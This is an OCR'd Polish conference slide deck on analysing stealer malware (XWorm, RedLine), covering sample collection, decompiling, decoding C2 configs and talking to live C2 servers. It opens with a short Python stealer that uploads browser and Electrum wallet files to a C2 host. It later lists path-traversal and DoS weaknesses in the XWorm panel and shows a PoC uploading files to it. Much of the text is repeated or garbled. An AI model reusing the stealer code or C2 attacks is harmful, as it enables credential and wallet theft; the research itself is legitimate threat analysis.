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Tematy na najblizsze ~40 minut

e O malware (stealerach)



Tematy na najblizsze ~40 minut

e O malware (stealerach), ale przystepnie



Tematy na najblizsze ~40 minut

e O malware (stealerach), ale przystepnie

e Jak analizowac?
o Na przyktadach.

e Kontrolowane rozmowy
o Na przyktadach
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Szymon Sidoruk: 7 minut overtime® *°''°
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Michat Leszczynski: duzo (musiatem wyjs¢)

e Kontrolowane rozmowy
o Na przyktadach
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Jak dziatajg stealery

Malware development 101



Jak dziatajg stealery

import os

import requests

appdata = os.getenv ('APPDATA")

steal paths = [
f"{appdata}\\Roaming\\Electrum\\wallets",

f"{appdata}\\Google\\Chrome\\User Data",
]

for steal path in steal paths:
for dirn, sub, files in os.walk(steal path):
for £ in files:
steal = {f: open(os.path.join(dirn, f))}
requests.post ("mojec2.pl", files=steal)



Jak dziatajg stealery

import os
import requests
appdata = os.getenv ('APPDATA")

f"{appdata}\\Google\\Chrome\\User Data",

for steal path in steal paths:
for dirn, sub, files in os.walk(steal path):
for £ in files:
steal = {f: open(os.path.join(dirn, f))}
requests.post ("mojec2.pl", files=steal)



Jak dziatajg stealery

import os
import requests
appdata = os.getenv ('APPDATA")

for steal path in steal paths:
for dirn, sub, files in os.walk(steal path):
for ! '

steal = {f: open(os.path.join(dirn, f))}
requests.post ("mojec2.pl", files=steal)




Jak dziatajg stealery

Microsoft®

WNET




Czy stealery sg interesujgce?

- botnety p2p

- botnety, trojany bankowe
- rootkity, bootkity, sterowniki

stealery, RATy

- beacony cobaltstrike

dekryptowalne ransomware

ransomware, adware




Czy stealery sg interesujgce?

- botnety p2p

- botnety, trojany bankowe
- rootkity, bootkity, sterowniki

K‘ stealery,  RATy
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dekryptowalne ransomware

- ransomware, adware

imgflip.com
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Czy stealery sg interesujgce?

botnety p2
- otne i)p.

- botnety@ trojany bankowe
“ rootkity, bootkity, sterow=:I;

'{ stealery,  RATy
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imgflip.com



case study: xworm



Deworming the XWorm

https://cert.pl/en/posts/2023/10/deworming-the-xworm/

(nie trzeba czytac zeby zrozumiecC prezentacje =+))


https://cert.pl/en/posts/2023/10/deworming-the-xworm/

Krok pierwszy: probka

MALWARE bazaar

» ABUSE|™"

MalwareBazaar

MalwareBazaar is a project from abuse.ch with the goal of sharing malware samples with the infosec community, AV vendors and threat intelligence providers.

MalwareBazaar database »

API MalwareBazaar database  Get involved
Integrate threat intel from MalwareBazaar into your Get insights, browse MalwareBazaar database and Share malware samples with the community, helping
SIEM using the APL. find most recent additions. them to make the internet a safer place.

View details » View details » View detalils »

© abuse.ch 2023



Krok pierwszy: probka

Browse Database

tag:xworm

Search Syntax &

Search:

Date (UTC) 1 SHA256 hash Type Signature = Tags Reporter DL

2023-11-15 14:45 8c69f8ddbe47d5020425... [T exe B smica83
2023-11-13 16:47 702d2d0fdclc7af06alb... = Vbs S -« abuse_ch
2023-11-12 19:46  4f49150ch8b4ed358d59... [Jexe D Racco42
2023-11-11 04:36  74bd525377a89ch1994... [ zip [ XWorm | B zbetcheckin
2023-11-11 04:36  98493d1be8ch7bbbeb6... [ exe [ xworm [N 32 | exe | . zbetcheckin
2023-11-11 04:36  6bd6ccdc80da2053e27... [ exe [ XxWorm [N 32 ] exe ] . zbetcheckin B
2023-11-11 04:31 2f92535e48d070c313cl... [Jexe [ Xxworm [N 32 ] exe ] B zbetcheckin
2023-11-10 16:17 90d33feb81bdc51341e3... [T exe tE B SecuritelnfoCom



Krok pierwszy: probka

https://bazaar.abuse.ch/sample/a7da92a8f1dde21271b0
e4ca6dab609c97cde7d659582eef25e373fc9dd44610/

https://s.tailcall.net/xworm



https://s.tailcall.net/xworm

Krok drugi: narzedzia

-

Wireshark



Krok drugi: narzedzia




Krok drugi: narzedzia (wireshark)

192..)G.k...IN.9. ... n../\F...P..]1.Mo]5.x,..d@X.5+.X.T........... PO..;:..s[..G.H.....\W...B
il1*..m7.,&10...0......8..7..5..7.[..e

JNaZ2..).3~=u:]2...1.X.De98....K

; ST PT [32...}Y.$R..liLJY/-.D.......L.<...V16.f.G..m...+...JZ32... }Y.$R..liLJ!/-....k™...0..<..s32...}Y.$R..!
iLJ!/-.Lev...UU.../.M.16.f.G...m...+...J232...}Y.$R..!iLJ!/-U...._W.$>&’\..".32...}Y$R..!iLJ!/-....p.Y....:...32...}Y.
$R..liLJ/-...+./)

e 6 RG MR IEI 2, P SR FZED s 132, P SR NLY-#E.EW{.#/...,43. 161 6...m..
+...)Z32.. . }Y.$R.LY/-.(.3(....:G=.m.32... }Y.$R..liLJ!/-q..0. XImM.<~:.b.16.f.G...m...+...]Z32.. }Y$R L) !/-i.
3...%..0N....f32... }Y.$R..MiLJY/-....\l..e....#.16.f.G..m...+...JZ32... }Y.$R..liLJ!/-5-....@...wF.eE.32...}Y.$R..!

| 1A O——— P32...}Y.$R..!iLJ!/-C....W.Z*.'.X...16.f.G...m...+...J232...}Y.$R..!iLJ!/-SLi ...... HoH..X32...}Y.$R.,!
LN e Z e >0 16 R G 232 .. Y SR = VL UWP.. 32 .. Y SR -E4-.MT......
8...W16.f.G..m...+...JZ32...}Y.$R..liLJ!/-........s. ) \...32... }Y.$R..MiLY ! /-.b...4.. SF 332, Y SR Y-

$....x <0.V...16.f.G...m...+...JZ232...}Y.$R.. I|LJ'/- ............. > 32, FY.$RLIL Y- if.....16.1.G...m...

£ dZ232 . PYSRNL 8.7~ Dn 32 PSRN, }— D pZ16.1.G m...+...JZ32 JY.$RLNILY-;
(..QaM..k..o'}Y32...}Y.$R LA 0Z5H. B W#.: .06 0.6 ...+ . 1Z32... LSRN A2 .. <4 E..32 ...} Y. 5R,.!
iLJ!/-.N........... C/.32...}Y.$R..liLJ!/-..Dk.7...%(n..M?16.f.G...m...+...)Z32... }Y.$R..liLJ!/-.g9....0&e. )...32... }Y.
$R..liLJ!/-f<.B....... @...916.f.G...m...+...JZ32... }Y.$R..MiLJY/-..... H.A#.....32... }Y.$R.. 1L /-..v..@Z } #9....
13606 7232, FY SR UL -4 "N ) 0032, FY SR o LT 32 PSR UL -, LA, KB,
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Krok drugi: narzedzia (wireshark)

00000000 3139320083 6a47 10 6bf6 ae b0 5b 4e 16 39 192..jG. k...[N.9
00000010 fl e3 a3 ffead3 6e 81 95 2f5c 46 db 91 8e50 .....n../AF..P
00000020 dO 91 5d a0 4d 6f 5d 35 80 78 2c c6 91 64 40 58 ..]1.Mo]5 .x,..d@X
00000030 ac 352b 8f58ff54 1a cbee 7fdb 06 al d3 11 .5+.X.T.
00000040 1fcl 50de 4fa8 19 3b a7e5735b878347eb ..PO..; ..s[..G.
00000050 48 f8 19 e7 86 f4 8057 aa 10e3 42 0a 69 31 2a H ...... W Bl
00000060 87 d6 6d 37 fa 2c 26 31 30 ce b6 d1 6f089acc ..m7.,&1 0...0...
00000070 b4 c19038c5e53f87 aa5388ad3f815bc7 ..8..2..S..2.[.
00000080 1565 0d ee 2fc6 25 1d 76 61 5a 32 f4 cf 29 92 .e../.%. vaZ2..).
00000090 33 2d9a 6a 28 7e 1cf5 b6 4a 32 ca b6 bd 31 01 3-.j(~.. .J2...1.
000000AO0 58 f8 44 63 39 38 cff4 ff 80 4b 0d 78 04 f7 fO X.Dc98.. ..K.x...
000000B0O e3 02c0a7112eefd3 cdad4c0a39fd3ff1l5 ................

000000CO 91 c4 88 5b =l
000000C4 33 32 00 cffd 7d 59 86 24 52 e8 cf 21 69 4c 4a 32.. }Y $R..1ILJ
000000D4 21 2f 2d ff 44 8a 90 14 7 f1l ce e7 4c a0 3cal0 !/-.D L=
000000E4 aa ad 56 .V
00000000 31 36 0066 1447 809b ae 6d cO0d9 le2b 17 b3 16.f.G.. . m...+..
00000010 d8 4a 5a JZ

000000E7 33 32 00 cffd 7d 59 86 24 52 e8 cf 21 69 4c 4a 32...}Y. $R..ILJ
000000F7 21 2f 2d c8 ec cO 85 6b 5e ba f9 15 71 el b7 3c !/-...k ©...q..<
00000107 ece3 73 s



Krok drugi: narzedzia

https://github.com/dnSpy/dnSpy/ Q



https://github.com/dnSpy/dnSpy/

Krok drugi: narzedzia

https://github.com/dnSpy/dnSpy/ 0
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https://github.com/dnSpy/dnSpy/

Krok drugi: narzedzia

https://github.com/dnSpy/dnSpy/ Q



https://github.com/dnSpy/dnSpy/

Krok drugi: narzedzia



https://github.com/dnSpy/dnSpy/

Krok drugi: narzedzia

O

https://github.com/dnSpyEx/dnSpy 0



https://github.com/dnSpy/dnSpy/
https://github.com/dnSpyEx/dnSpy

Krok drugi: narzedzia

O

https://github.com/dnSpyEx/dnSpy Q

ElektroKill v



https://github.com/dnSpy/dnSpy/
https://github.com/dnSpyEx/dnSpy

Krok trzeci (najprostszy): analiza

4 5 XWormClient (1.0.0.0)
4 g R e

b PE
p o0 Type References
P o0 References

P 4 <Module> @02000001

VLUV

A4

VBSAnonymousDelegate_0 @0200000




Krok trzeci eaajﬁfeerprg re Sj q

4 J xw ormCllent (1.0

Clemnonlebleskl tekst na czarnym tle...

D‘*" H omp
b O3 MyProject (
4 {} Stub

p 0[3 ClientSoc
P ES Hel

p 0{3 Ma

P 0[3 Me

p 0@ Rer

b A Settings ¢




:analiza

4 5 XWormClient (1.0.0.0)
y /ormClient.exe
b PE
P o0 Type References
P o0 References

N ANIONNON
DO200000
ULV

C 1 APl e aaTas
= o e ]/ RRAARAN
thocket @UZ000009




:analiza

4 5 XWormClient (1.0.0.0)
y /ormClient.exe
b PE
P o0 Type References
P o0 References

N ANIONNON
DO200000
ULV

C 1 APl e aaTas
= o e ]/ RRAARAN
thocket @UZ000009




Krok trzeci {rajprestszy}: analiza




Krok trzeci eaajﬁfeerprg re Sj a

Pisanie do abuse vs pii do /dev/null.

duckdns.org




Krok trzeci {rajprostszy}: analiza

[MethodImpl(MethodImplOptions. ing | MethodImplOptions.
public static void Read(byte[] b)

» -1, CompareMethod.E

S.Shutdown (SocketShutdown.

(0);




Krok trzeci {rajprostszy}: analiza

[MethodImpl(MethodImplOptions. ing | MethodImplOptions.
public static void Read(byte[] b)

), -1, CompareMethod.E
()
g(text, “CLO!

Shutdown (SocketShutdown.

(text, "uninstall”,




Krok trzeci {rajprostszy}: analiza

[MethodImpl(MethodImplOptions. ing | MethodImplOptions.
public static void Read(byte[] b)

1, CompareMethod.E

-(@);

(text, "uninstall”,




Krok czwarty: reimplementacja

def decode(b: bytes, key: bytes, split: bytes) -> list:

out = []

while Db:
datalen = int(b[:b.find(b'\x00")])
header = b[b.find (b"\x00") + 1:]
encdata, b = header[:datalen], header[datalen:]
mkey = hashlib.mdb5 (key).digest ()
rawout = unpad (aes.ecb.decrypt (mkey, encdata))
out.append (rawout.decode () .split (split))

return out



Krok czwarty: reimplementacja
12\x00ABCDEFGHIJKL

def decode(b: bytes, key: bytes, split: bytes) -> list:
out = []
while b:

datalen @[:b.find(b'\xOO')]) )
header = b[b.{fInato™ v

encdata, b = header[:datalen], header[datalen:]
mkey = hashlib.mdb5 (key).digest ()
rawout = unpad (aes.ecb.decrypt (mkey, encdata))
out.append (rawout.decode () .split (split))

return out




Krok czwarty: reimplementacja

def decode(b: bytes, ‘ bytes, ‘bytes -> list:
out = []

while b:
datalen = int(b[:b.find(b'"\x00"') ])

header = b[b.find (b"\x00") + 1:] z konfiguracji

encdata, b = header[sdatalen], header[datalen:
mkey = hashlib.mdb @ digest ()
rawout = unpad (aes.eskfdecrypt (mk =ncdata

out.append (rawout.decode () .split

return out



Krok pigty: komunikacja

RIP

Potrzebna nam zywa probka



Krok pigty: komunikacja

CERT.PL

‘ X family:xworm

LTSN oy uoioadd by me J exclude pubiic ] Fovorites § xcude feec+ JE L fomiy:sworm

Family Config ID Config type Tags
Xxworm €32497982d669224059444dccb22db01445abb89a520693749d86b49751Tb48d5 static
xworm )409deba0152cb4c95bc44ea2abb751f01a5f2a91a static

xworm c5756b83bed@71fe35eleabelb7b42 static
xworm 5T0d15a5a48ce838173%ad4ed4eeb3436Tb8c70T67 static
Xxworm 64f26ccfac3a894813cb5e51315d4548Fh3598571b%aeeB82aec5453341de®b96 static

xworm 885b1alfb 40d1943007286e25193d5 static



Krok piaty: komunikaDyg e SJ a

CERT.PL

X family:xworm
Quick query: ([T aLL D B CEEROESE) (oniyrpped | (TG

Family Config ID Config type Tags

Jak samemu zaczac¢ tworzy¢ taka baze?

c4fr8efad

(o tym juz troche w artykule)

36deb

6e70a03e7967h7082543c87570d15a5a48ce8381739%ad4ed4eeb3436Tb8c70767 static

64f26ccfac3a894813ch5e51315d4548Th3598571b%aee82aec5453341de®b96 static

06a8151cal3a0ed40r3885b1a0Th28Ff8T082640d194300 36e25793d5 static




Krok piaty: komunlkaDyg reSJ ad

| X family:xworm
SITLVIR ori upioacied by me J Exclue public | Favorites § Exclude feed:+ JUETEIZ famiyxworm « § Add +]

Family Config ID Config type Tags

Jak samemu zaczgc¢ tworzyc takag baze?
(o tym jUZ troche w artykule)
s GAE also uiotes, | satc
https //glthub com/CERT—PoIska/karton -playground/




Krok pigty: komunikacja

BB Config details

fi Details %* Relations Q  Preview

Family

Config type

+ Host

+ KEY

+ Port

+ SPL

+ USBNM

+ encryption_key
+ type

Upload time

xworm

static

tcxerr.duckdns.org

<123456789>

6677

<Xwormmm>

USB.exe

RSH70dBwgOkTVBEX

xworm

& Apivectors

Mon, 04 Dec 2023 13:39:28 GMT



Krok pigty: komunikacja

$ python3 recv.py

send >> ['INFO', 'CF135045C83D7C58B239', 'janusz', '
Windows 7 Professional SP 1 64bit', 'XWorm V3.0',
'26-11-2020"', 'False', 'True', 'False', 'None']

recv << ['PING!']

send >> ['PING!', '"', '157'"]

recv << ['PING!']



Krok pigty: komunikacja

root@788a4e742c33: /home/msm/data/2023-09-19 xworm research# python3 samuraj.py
send >> ['INFO', 'CF135045C83D7C58B238', 'basia', ' Windows 7 Professional SP 1 64bit', 'Xworm V3.0', '26-11-2020', 'False', 'True', 'False',
'None"']
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<

'plugin', '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EO1EEF8E94C"' ]
YPING B B A
'PING!']

'PING!', ‘157']
'"PING!']

'PING!', SIS T
'PING!']

'PING! '157']
'PING!

'PING! *157%]
'PING!

'PING! '157']
'PING!

'PING!
'PING!’, '157']
'"PING! ']

'PING!', S157 %]

recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<

'PING!']
'"PING!"', Sk i

'plugin', '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EO1EEF8E94C' ]
'PING!', Hre S By 8]
'PING!']

YPINGE ;. 'Y, *157']
'uninstall’']
PINGY !~ Y2 %157%]

[
[
[
[
[
[
[
[
[
[
[
[
[
send >> ['PING! *157%]
|
[
[
[
[
[
[
[
[
[
[
[
|

'"PING!']




Krok pigty: komunikacja

root@788a4e742c33: /home/msm/data/2023-09-19 xworm research# python3 samuraj.py
send >> ['INFO', 'CF135045C83D7C58B238'!  .‘hasial, tindows—T-Brofessional SP 1 64bit', 'XwWorm V3.0', '26-11-2020', 'False', 'True', 'False’,

'None"' ] =
'plugin'( '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EO1EEF8E94C " | plugln [has h]

recv <<

send >> ['PING!', —~—tl157"'1

recv << ['PING!']

send >> ['PING!’ '157"']
PING!'

Fecy <<:||2
send >> ['PING!' o o i
'PING!'

recv <<
send >> ['PING! 1574
PING!

recv <<
send >> PING! RI57%]
'PING!

recv <<
send >> ['PING! o o3y fet
PING!

[
[
[
|
|
[
[
|
[
[
|
|

recv << [

send >> ['PING! 15T
|
[
[
[
|
[
[
[
|
[
[
[
[

'
'

'PING!

'PING!"', *157']
PING! ']

PING!', 3 oy 0]
'PING!']

'"PING!"', Sk i

plugin', '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EO1EEF8EQ94C' ]
PING!', Hre S By 8]
'PING!']

YPINGE ;. 'Y, *157']
'uninstall’']
PINGY !~ Y2 %157%]
'PING!']

recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<

'
'

1
'




Krok pigty: komunikacja

root@788a4e742c33: /home/msm/data/2023-09-19 xworm research# python3 samuraj.py
send >> ['INFO', 'CF135045C83D7C58B238'!  .‘hasial, tindows—T-Brofessional SP 1 64bit', 'XwWorm V3.0', '26-11-2020', 'False', 'True', 'False’,

'None"' ] =
'plugin'( '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EO1EEF8E94C " | plugln [has h]

recv <<

send >> ['PING!', —~—tl157"'1

recv << ['PING!']

send >> ['PING!’ '157"']
PING!'

Fecy <<:||2
send >> ['PING!' o o i
'PING!'

recv <<
send >> ['PING! 1574
PING!

recv <<
send >> PING! RI57%]
'PING!

recv <<
send >> ['PING! o o3y fet
PING!

[
[
[
|
|
[
[
|
[
[
|
|

recv << [

send >> ['PING! 15T
|
[
[
[
|
[
[
[
|
[
[
[
[

'
'

'PING!

'PING!"', *157']
PING! ']

PING!', 3 oy 0]
'PING!']

'"PING!"', ik Ry =

'‘plugin' . '8BE2FB14B479CCDD9BC15BEAFO91A52DF492882CB14B74F194A69EO1EEFSE94C " ] plugln [haSh]
'PING!', R TSal]

'PING!']

YPINGE ;. 'Y, *157']

'uninstall’']
PINGY !~ Y2 %157%]
'PING!']

recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<

'
'




Krok pigty: komunikacja

root@788a4e742c33: /home/msm/data/2023-09-19 xworm res earch« python3 samuraj.py
send >> ['INFO', 'CF135045C83D7C58B238' . 'haciat. vindews—T.Brofessional SP 1 64bit', 'XWorm V3.0', '26-11-2020', 'False', 'True', 'False’

'None"' ] =
plugin'( '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EO1EEF8E94C' ] plugln [has h]

recv <<

send >> PING!', —~—tl157"'1

recv << PING!']

send >> PING!' '157"']
PING!'

recv <<
send >> PING!' X157
PING!'

recv <<
send >> PING! 1574
PING!

recv <<
send >> PING! 15T
PING!

recv <<
send >> PING! o o3y fet
recv << PING!

PING!

PING!', d fo37 fet

PING!']

PING! ' '157"] All right, then. Keepiyour secrets.

P 4

recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >>
recv <<
send >
recv, <<
send >=
recv <<

PING! ']

PING!', ‘tr"157'] .

plugin' {_'8BE2FB14B479CCDDIBC15BEAFO91A52DF492882CB14B74F194A69E01EEFSE4C" | plugln [has h]
PING!®, '*, 353

DT o
NG 1

PINGISS

'uninstall'] jl uninSta"

PINGS: =5 et

+ a2
FING" 3

I
I
E
[
I
&
E
[
[
[
E
[
I
send >> ['PING! 15T
E
[
&
[
E:
[
[
I
[
[
[
&
B




Krok pigty: komunikacja

root@788a4e742c33: /home/msm/data/2023-09-19 xworm reseavchr python3 samuraj.py
send >> ['INFO', 'CF135045C83D7C58B238'  ‘hasial, Windows=—T-Brofessional SP 1 64bit', 'XWorm V3.0', '26-11-2020', 'False', 'True', 'False’,

'None'] -
'plugin' ( '8BE2FB14B479CCDD9BC15BEAF091A52DF492882CB14B74F194A69EQO1EEF8E94C' ] plugln [hash]

recv <<
send >> ['PING!', "™5=157']
recv << ['PING!']

send >> ['PING!', '', '157']
recv << ['PING!']

send >> ['PING!', '', '157']

recv <

send > sock.send (encode ([

recv <

send "sendPlugin",

recv

send > "8BE2FB14B479CCDDIBC15BEAF091A52DF492882CB14B74F194A69E01EEF8E94C"
recv

send >>] , key)) R oy ] e Lol ’@’o
recv << | 'PLING!” ] y; -

'PING!', '', '157'] y '/ﬁ

[
[
[
[
[
[

b

L

send >> [

recv << ['PING!']

send >> ['PING!', '', '157'] All right, then. K€ep your secrets.

recv << ['PING!'] -
[
[
[

send >> ['PING!', ‘A "157'] =

recv << ['plugin’ . '8BE2FB14B479CCDD9BC15BEAFO91A52DF492882CB14B74F194A69E01EEF8E9AC" ] plugln [haSh]
send >> ['PING!', '', TSal]

recv << [LDING=]

send »#> ['PING!', '', X ] 0

recvl << ['uninstall'] unlnstall

send >=_[' PING" SRS %]

recv << [°'




Krok piaty: komunikaDyg e SJ a

64bit’,

’CB14B74F194A69EO1EEF8E94C' ]

> 26 January 2018 | Jarostaw Jedynak | #automation | #malware | #mtracker | #python | #tools

Mtracker — our take on malware tracking

High-level overview CERT Polska collg
Sensor Delivery event Network) projg
actionable security information, that

L i i L | (Iike security and academic research
['PING!' It ¢ o |

' one of ...

G!'

G!'




Krok pigty: komunikacja

SPENGES A S T
got 83 bytes to decode
383000ae53e8be9a44e57T79157e4b058dfcc99d34de5933149e3ab2bc4ceb8391df151d401a38b7¢c0412969b1f9%ee008ce9

['plugin', 'BO7315D089964EC6357AF66F2621DF32FEB527A7853BD5D3BF37AE129252A53A" ]
[*PINGE, &%, “157%]

got 99 bytes to decode

39360064dd31e2e300252039fe95c2047bcd8c42a2b95eee96400c87558fb2d0b14fd10b8871alde723711b556b57ba66do
['plugin’', 'EFFAAO1FO92DDA8351E6F4A4A1BC651ACF91865A4F512A3A336B7E6FEA495BDA', '17']
[FXPINGES . S8 K]

got 19 bytes to decode




Krok szosty: "eskalacja’

e \Wszystko jest w C#, szanse na zhakowanie serwera sg niskie...

e Sam protokot nie przewiduje zbyt wielu komend
o Ale mamy jeszcze pluginy!



Krok szosty: "eskalacja’

e \Wszystko jest w C#, szanse na zhakowanie serwera sg niskie...

e Sam protokot nie przewiduje zbyt wielu komend
o Ale mamy jeszcze pluginy!

e A wild FileManagerPlugin appears



Krok szosty: "eskalacja’

["downloadedfile", client id, gzipped data, filename]

Co moze pojs¢ nie tak...
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Krok szosty: "eskalacja’
["downloadedfile", client id, gzipped data, filename]
Co moze pojsc nie tak...
e DOS na serwer (przez wystanie duzego pliku)
e DOS na serwer (przez wystanie gzip bomby)

e Path traversal przy uploadzie... (“..\” w client_id)




Krok szosty: "eskalacja’
["downloadedfile", client id, gzipped data, filename]
Co moze pojsc nie tak...
e DOS na serwer (przez wystanie duzego pliku)
e DOS na serwer (przez wystanie gzip bomby)
e Path traversal przy uploadzie... (“..\” w client_id)

o RCE nie bedzie, ale wrzucanie plikow
na pulpit juz kto wie




Krok szosty: "eskalacja’

root@2804bbbc3eba: /home/msm/data/2023-09-19 xworm research# python3 poc.py kot.png
config from sample 4elal8f3flbad420cec7f48f0ea9945a4c6T11e4f46d5702675e00bbTf071679dcC

send >> ['INFO', 'FF135045C83D3C58B2449', 'john', 'Windows 7 Professional SP 1 64bit', 'XWorm

recv << ['PING!']
uploading...
ok!




Krok szésty: "eskalachg e Sj a

-
W ogolnosci to "don tc_Io this at home"

root@2804bbbc3eba: /home/msm/data/2023-09-19 xworm research# python3 poc.py kot.png

config from sample 4elal8f3flbad420cec7f48f0ea9945a4c6T11e4T46d5702675e00bbf071679dc
>> ['INFO', 'FF135045C83D3C58B2449', 'john', 'Windows 7 Professional SP 1 64bit', 'XWorm
<< ['PING!']




Krok szosty: "eskalacja’




case study: redlinestealer



RedlineStealer

e \W miare typowy stealer - kradnie z dysku co znajdzie.
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RedlineStealer

e \V miare typowy stealer - kradnie z dysku co znajdzie.

e Metoda dystrybuciji: rozne, jeszcze niedawno z RiIgeK (2022)

.

WHAT YEAR IS IT3



RedlineStealer

e \W miare typowy stealer - kradnie z dysku co znajdzie.
e Metoda dystrybuciji: rézne, jeszcze niedawno z RIigEK (2022)

e Napisany w .NET



Krok pierwszy: probka

https://bazaar.abuse.ch/sample/4d7d37d8aa8fe79dc0d
6362629030eaf4b5c9ab4b12b25af7e4eaalaec6/f91d/

https://s.tailcall.net/redline



https://s.tailcall.net/redline

Krok pierwszy: probka

https://bazaar.abuse.ch/sample/4d7d37d8aa8fe79dc0d
6362629030eaf4b5c9ab4b12b25af7e4eaalaec6/f91d/

https://s.tailcall.net/redline

Intelligence € 10Cs YARA @ File information Comments €
SHA256 hash: 4d7d37d8aa8fe79dc0d6362629030eaf4b5c9ab4b12b25af7e4eaalaec67f91d
SHA3-384 hash: b9ad7431c113d11371400f17008ad5247c5ba7b89f84cd0c5ccc64df03e1710429e64a21d244fafa299e35598d1469f4
SHA1 hash: af035f6618d6dcfc4d95¢3869b3ebcd8c087a46d
MDS5 hash: & 171f3b95bbh467{79211828af04caead
humanhash: magnesium-mississippi-cold-zulu
File name: 171f3b95bbb46779211828af04caead
Download: download sample

Signature i RedLineStealer


https://s.tailcall.net/redline

Krok trzeci: analiza

4 (J Upholding (1.9.2.1440)
4 Jpnoiding.exe
p PE
P o0 Type References
P o0 References

ConfusedByAttribute @




Krok trzeci: analiza

4 (J Upholding (1.9.2.1440)
4 Jpnoiaing.exe

p 2]
P o0 Type References
P o-O References




Krok trzeci: analiza

MethodImpl(MethodImplOptions.
ic SystemSecurityC

=>(-251870627),

MethodImpl(MethodImplOptions. : )]
D_1<T@, >( phAlgorithm, [MarshalAs(UnmanagedType.

>>(1488627911) . Replace (SystemNetDecompressionMetho

t phAlgorithm, pszAlgld, pszImplementation, dwFlags);




Krok trzeci: analiza
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Krok trzeci: analiza

root@34la26dla2da: /home/msm/data/2023-09-14 redline# python3

Python 3.10.6 (main, May 29 2023, 11:10:38) [GCC 11.3.0] on Llinux
Type "help", "copyright", "credits" or "license" for more information.
>>> from malduck import base64, xor

>>> Xor(b"Prodnosing”, base64("HSYIVSIFOhEgNGQKIjAjGj4D01lEdJi4cITsmVA=="))
b'MTglL)IXNS4XMTMuMjUBMTAXOTU="

>>> base64(xor(b"Prodnosing”, base64("HSYIVSIFOhEgNGQKIjAjGj4DO1lEdJ)i4cITsmVA==")))
b'185.215.113.25:10195"'

from malduck import base64d4, xor ? |
baseb64d (xor ( ()
b"Prodnosing",
base64 ("HSYIVSIFOhEgNGQKIJA]JGJ4DO1lEdJi4cITsmVA=="")

))



Krok trzeci: analiza

root@34la26dla2da: /home/msm/data/2023-09-14 redline# python3

Python 3.10.6 (main, May 29 2023, 11:10:38) [GCC 11.3.0] on Llinux
Type "help", "copyright", "credits" or "license" for more information.
>>> from malduck import base64, xor

>>> xXor(b"Prodnosing", base64("HSYIVSIFOhEgNGQKIjAjGj4DO1lEdJi4cITsmVA=="))

b'MTg1lL]jIXNS 4K”TMU”JU6”TAXOTU:
>>> base64(xor(b"Prodnosing”, base64("HSYIVSIFOhEgNGQKIjAjGj4DO1lEdJ)i4cITsmVA==")))

H*185.215.113.25:18195"
from malduck import baseb6b4d, xor ?
baseo64d (xor ( p

b"Prodnosing",
base64 ("HSYIVSIFOhEgNGQKIjAJGj4DO1lEAJi4cITsmVA==")

b"185.215.113.25:10195"

))



Krok trzeci: analiza

e Metoda komunikaciji: ...




Krok trzeci: analiza

e Metoda komunikacji: .NET SOAP API




Krok czwarty: reimplementacja
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Krok czwarty: reimplementacja

| 000EE00e 00

| 000000160
00000020

2f
36

00000000

| 0000026
| 00000036
| 0000046
| 00000056
| 0000066
| 0000076
| P0OOOO86
| 00000096
| P00000A6
| 000000B6
| P0EERECE
| 000000D6
| P0BOOOES

06
75
64
32
49
72
06
6F
35
63
44
de
03

00000001
00000011
00000021
00000031
00000041
00000051
00000061
00000071

00000081

| POEEROF1L
| 00000101
| 00000111
| 00000121
| 00000131
| 00000141
| 000O0151
| 00000161
| 000EE171
| 00EEO181

06
75
64
56
72
61
64
la
33
01

01
38
38
b
c8
72
31
33
64
69
56
72
61
64
1a
15
01
06
75
64
73
6d
73
44
6f
14
97
72
32
08
69
61
62
ad
73
56

00
39
2f

01
69
ic
2e
31
2e
08
69
61
62
ad
19
56
8b
72
31
70
70
75
fa
45
01
01
69
03
44
7a
30
32
96
44
Be

01
2e
03

53
2e
6e
39
13
6f
44
7a
30
32
d4
44
e
01
69
52
6f
75
6¢c
le
bb
56
22
2e
49
fa
61
36
32
b4
2c
42

02
32
08

id
6T
65
38
68
72
Pa
61
36
32
80
2c
42
50
2e
65
6e
7
74
00
fe
Qe
id
6f
64
ie
74
36
33
25
44
b

02
33
ec

68
72
74

1c 6e

2e

74
67
2e
37
74
2f
00
69
62
30
c4
2a
Ra
68
72
70
65
2e
02
ab
cc
03
74
67
56
82
6T
33
31
a7
ab
07

39

74
2f
74
35
70
56
82
6f
33
31
el
ab
07
74
67
6f
13
6f
Ob
01
a3
fa
74
2f
02
ab
6e
39
64
08
14
01

65
38

70
45
63
3a
3a
02
ab
6e
39
64
cd
14
01
74
ok
Ge
68
72
01
44
de
05
70
45
b
09
08
61
61
dd
01
01

74 2e 74 63

2e

3a
6e
70
34
2f
Ob
01
08
61
61
6f
01
01
70
45
73
74
67
73
12
15
42
3a
6e
01
40
03
35
62
46
44
01

37

2t
74
3a
35
2f
01
40
03
35
62
45
44
01
3a
6e
65
74
2f
04
ad
19
07
2f
74
73
ed
6e
64
30
ac
ec

35

2f
69
2f
37
74
73
od
6e
64
30
bb
Oc

2f
74
0b
70
09
0b
d4
44
87
2f
69
04
41
73
35
31
49
le

3a

74
74
2f
36
65
04
41
73
35
31
fe
le

2f
69
49
3a
49
01
80
Oc
01
74
74
b
75
31
36
30
de
00

70
34

65
79
38
38
6d
Ob
75
31
36
30
6b
00

74
74
64
2f
64
61
d9
le

3a
35

6d
2f
39
2f
70
01
74
99
65
38
cc
82

65
79
31
27
31
06
cd
00

01 01

65
79
01
74
99
65
38
cl
82

6d
2f
61
68
20
63
35
5b
ab

2f
37

70
49
2e
03
75
61
68
20
63
35
a3
ab

6d
2f
52
74
52
56
ed
82

70
49
06
6T
35
63
44
fa
03

....... n et.tcp:/
/89.23.9 8.75:457
68/...

...S.htt p://temp
uri.org/ Entity/I
dl.net.t cp://89.
23.98.75 :45768/.
